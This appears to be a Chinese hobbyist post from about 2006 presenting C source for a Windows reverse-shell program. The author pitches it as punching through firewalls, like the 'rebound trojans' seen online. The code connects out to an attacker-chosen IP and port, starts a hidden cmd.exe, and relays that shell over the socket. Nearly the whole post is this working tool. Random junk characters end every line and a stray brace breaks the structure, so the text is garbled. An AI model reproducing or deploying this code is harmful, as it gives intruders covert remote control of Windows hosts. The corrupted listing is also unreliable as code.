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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '8Ztj  
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/* ============================== G oM ip8'u  
Rebound port in Windows NT ;`YkMS`=W  
By wind,2006/7 <A5]]{9 +  
===============================*/ |RkcDrB~  
#include ~PWSo%W8  
#include U69u'G:  
fBn"kr;  
#pragma comment(lib,"wsock32.lib") {c?JuV4q?  
lbdTQ6R  
void OutputShell(); H9)m^ *  
SOCKET sClient; "syh=BC v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i':i_kU  
gi/@ j  
void main(int argc,char **argv) B+d<F[ |  
{ F>je4S;  
WSADATA stWsaData; |{r$jZeE  
int nRet; A>`945|  
SOCKADDR_IN stSaiClient,stSaiServer; 51C2u)HE  
qBV x6MI  
if(argc != 3) YTQt3=1ii  
{ Y9=K]GB  
printf("Useage:\n\rRebound DestIP DestPort\n"); Uxfl_@lJ  
return; 57a2^  
} D4Al3fe  
._w8J"E5  
WSAStartup(MAKEWORD(2,2),&stWsaData); =L|tp%!  
J_;N:7'p  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aNn"X y\ k  
>T2LEW  
stSaiClient.sin_family = AF_INET; E/&Rb*3  
stSaiClient.sin_port = htons(0); @ V08U!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {GDmVWG0q  
~\)qi=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :F,O  
{ PNF?;*`-{7  
printf("Bind Socket Failed!\n"); SzwQOs*  
return; s>k Uh  
} do*}syQ`O  
=gfI!w  
stSaiServer.sin_family = AF_INET; \<Sv3xy&O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YJg,B\z}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *-W#G}O0  
n+@F`]K e  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n\Fp[9+Z\  
{ 7!,YNy%  
printf("Connect Error!"); ]M/9#mD9~  
return; RIu~ @  
} fkSO( C)  
OutputShell(); /-bF$)vN  
} a,F&`Wg  
8.' #?]a  
void OutputShell() J:uW`R  
{ DFhXx6]  
char szBuff[1024]; |Fm6#1A@  
SECURITY_ATTRIBUTES stSecurityAttributes; ~R$~&x(b  
OSVERSIONINFO stOsversionInfo; 4n#ov=)-~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *<N3_tx"  
STARTUPINFO stStartupInfo; [ EFMu;q  
char *szShell; iovfo2!hD  
PROCESS_INFORMATION stProcessInformation; Uz cx6sw  
unsigned long lBytesRead; k#8Ti"0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iwz  
UYk>'\%H0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `l2O?U-@  
stSecurityAttributes.lpSecurityDescriptor = 0; b" xmqWa  
stSecurityAttributes.bInheritHandle = TRUE; J"=1/,AS  
} VJfJ/  
b'MSkEiQG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wg{k$T_>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Go,N>HN  
WN(ymcdYB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 26X+ }^52  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m)V/L]4  
stStartupInfo.wShowWindow = SW_HIDE; f\'{3I29  
stStartupInfo.hStdInput = hReadPipe; }:0uo5 B7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (feTk72XX  
'$4O!YI9@  
GetVersionEx(&stOsversionInfo); e%8|<g+n6  
DD" $1o"  
switch(stOsversionInfo.dwPlatformId) 1/p*tZP8i  
{ ??TMSH  
case 1: QL6C,#6  
szShell = "command.com"; Kp+CH7I*  
break; f.24:Dw,  
default: ~GE$myUT\p  
szShell = "cmd.exe"; =@TQ>Qw%b  
break; o=FE5"t  
} eC5$#,HiC  
#%J5\+ua  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $+.l*]  
l3N I$Z u  
send(sClient,szMsg,77,0); $/6;9d^  
while(1) 2[0JO.K 4  
{ G'YH6x,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); omWJJ|b~  
if(lBytesRead) ikE<=:pe  
{ .jy]8S8[|%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vI$t+m:  
send(sClient,szBuff,lBytesRead,0); %|G"-%_E  
} Ax!+P\\2~  
else 7'NwJ,$6\  
{ ~Lc066bLeq  
lBytesRead=recv(sClient,szBuff,1024,0); Y+K|1r  
if(lBytesRead<=0) break; cYXM__  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /1?R?N2>0  
} @ HZKc\1  
} cRX~z  
>0p$(>N]  
return; }j,[ 1@S  
}
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